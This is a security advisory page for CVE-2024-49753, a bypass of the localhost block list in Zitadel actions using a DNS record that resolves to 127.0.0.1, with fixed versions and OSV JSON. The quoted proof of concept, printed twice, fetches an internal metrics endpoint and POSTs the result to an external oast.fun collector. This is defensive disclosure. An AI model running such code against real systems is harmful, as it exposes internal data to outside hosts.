CVE-2024-49753: Github.com/zitadel/zitadel Denied Host Validation Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-6cf5-w9h3-4rqv
CVSS 5.9
CWE-20
Published
Advisory Summary

CVE-2024-49753 is a MODERATE (CVSS 5.9) denied host validation bypass vulnerability (CWE-20: Improper Input Validation) affecting Github.com/zitadel/zitadel libraries in the Go ecosystem. The issue involves denied host validation bypass in zitadel actions. Remediation is available by upgrading affected packages to version 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 2.58.7, 0.0.0-20241022141644-79fb4cc1cc6e, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e.

CVE-2024-49753 at a Glance

CVE Identifier CVE-2024-49753
GHSA Identifier GHSA-6cf5-w9h3-4rqv
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-20: Improper Input Validation
Affected Product Github.com/zitadel/zitadel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-49753

To remediate this vulnerability, upgrade all affected Github.com/zitadel/zitadel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/zitadel/zitadel fixed: 2.64.1
Upgrade github.com/zitadel/zitadel to 2.64.1
github.com/zitadel/zitadel fixed: 2.63.6
Upgrade github.com/zitadel/zitadel to 2.63.6
github.com/zitadel/zitadel fixed: 2.62.8
Upgrade github.com/zitadel/zitadel to 2.62.8
github.com/zitadel/zitadel fixed: 2.61.4
Upgrade github.com/zitadel/zitadel to 2.61.4
github.com/zitadel/zitadel fixed: 2.60.4
Upgrade github.com/zitadel/zitadel to 2.60.4
github.com/zitadel/zitadel fixed: 2.59.5
Upgrade github.com/zitadel/zitadel to 2.59.5
github.com/zitadel/zitadel fixed: 2.58.7
Upgrade github.com/zitadel/zitadel to 2.58.7
github.com/zitadel/zitadel fixed: 0.0.0-20241022141644-79fb4cc1cc6e
Upgrade github.com/zitadel/zitadel to 0.0.0-20241022141644-79fb4cc1cc6e
github.com/zitadel/zitadel fixed: 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
Upgrade github.com/zitadel/zitadel to 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/zitadel/zitadel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-49753, inspect your project dependencies for Github.com/zitadel/zitadel:

inspect dependencies for github.com/zitadel/zitadel

Analyze the terminal output to locate any version of Github.com/zitadel/zitadel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.64.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/zitadel/zitadel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. ### Details While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. <img width="781" alt="image" src="https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d"> The relevant action code demonstrates the attempted request to 127.0.0.1: ``` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('http://127.0.0.1:8080/debug/metrics'); var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'data': user, }), }); logger.log(api_r.body); } ``` By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. ![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7) The modified action code uses the custom domain instead of 127.0.0.1: ``` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics'); var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'user': user, }), }); logger.log(api_r.body); } ``` ![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e) This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. ![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be) ## Impact This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. ## Patches 2.x versions are fixed on >= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1) 2.63.x versions are fixed on >= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6) 2.62.x versions are fixed on >= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8) 2.61.x versions are fixed on >= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4) 2.60.x versions are fixed on >= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4) 2.59.x versions are fixed on >= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5) 2.58.x versions are fixed on >= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7) ## Workarounds There is no workaround since a patch is already available. ## Questions If you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com) ## Credits Thanks to @prdp1137 for reporting this!

CVE-2024-49753 Affected Github.com/zitadel/zitadel Versions

9 component(s)
Fixed Versions:
2.64.12.63.62.62.82.61.42.60.42.59.52.58.70.0.0-20241022141644-79fb4cc1cc6e1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
Product / Package Ecosystem Affected Versions Fixed Version
github.com/zitadel/zitadel
Go
≥ 2.64.0
< 2.64.1
All 1 versions
2.64.0
2.64.1
github.com/zitadel/zitadel
Go
≥ 2.63.0
< 2.63.6
2.63.6
github.com/zitadel/zitadel
Go
≥ 2.62.0
< 2.62.8
2.62.8
github.com/zitadel/zitadel
Go
≥ 2.61.0
< 2.61.4
2.61.4
github.com/zitadel/zitadel
Go
≥ 2.60.0
< 2.60.4
2.60.4
github.com/zitadel/zitadel
Go
≥ 2.59.0
< 2.59.5
2.59.5
github.com/zitadel/zitadel
Go
≥ 1.80.1
< 2.58.7
2.58.7
github.com/zitadel/zitadel
Go
< 0.0.0-20241022141644-79fb4cc1cc6e
0.0.0-20241022141644-79fb4cc1cc6e
github.com/zitadel/zitadel
Go
≥ 0.0.0
< 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e

References

Frequently Asked Questions

What is CVE-2024-49753?
CVE-2024-49753 is a security vulnerability in Github.com/zitadel/zitadel involving Denied Host Validation Bypass in Zitadel Actions under CWE-20: Improper Input Validation.
Which Github.com/zitadel/zitadel versions are affected?
Affected versions include releases prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 2.58.7, 0.0.0-20241022141644-79fb4cc1cc6e, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e across affected packages: github.com/zitadel/zitadel.
What version fixes CVE-2024-49753?
Upgrading to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 2.58.7, 0.0.0-20241022141644-79fb4cc1cc6e, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/zitadel/zitadel affected?
Yes, github.com/zitadel/zitadel is affected in releases prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 2.58.7, 0.0.0-20241022141644-79fb4cc1cc6e, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e. Upgrade your dependency to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, 2.58.7, 0.0.0-20241022141644-79fb4cc1cc6e, 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e or later.
What is the CVSS score of CVE-2024-49753?
CVE-2024-49753 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2024-49753?
CVE-2024-49753 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2024-49753?
Run the dependency tree command: 'inspect dependencies for github.com/zitadel/zitadel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6cf5-w9h3-4rqv",
  "modified" : "2025-07-09T15:24:53Z",
  "published" : "2024-10-25T19:29:20Z",
  "aliases" : [ "CVE-2024-49753" ],
  "summary" : "Denied Host Validation Bypass in Zitadel Actions",
  "details" : "### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n<img width=\"781\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d\">\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'data': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'user': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\n![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e)\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be)\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on >= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on >= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on >= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on >= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on >= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on >= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on >= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.64.0"
      }, {
        "fixed" : "2.64.1"
      } ]
    } ],
    "versions" : [ "2.64.0" ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.63.0"
      }, {
        "fixed" : "2.63.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.62.0"
      }, {
        "fixed" : "2.62.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.61.0"
      }, {
        "fixed" : "2.61.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.60.0"
      }, {
        "fixed" : "2.60.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.59.0"
      }, {
        "fixed" : "2.59.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.80.1"
      }, {
        "fixed" : "2.58.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20241022141644-79fb4cc1cc6e"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zitadel/zitadel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0"
      }, {
        "fixed" : "1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-49753"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zitadel/zitadel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.58.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.59.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.60.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.61.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.62.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.63.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zitadel/zitadel/releases/tag/v2.64.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-25T19:29:20Z",
    "nvd_published_at" : "2024-10-25T14:15:12Z"
  }
}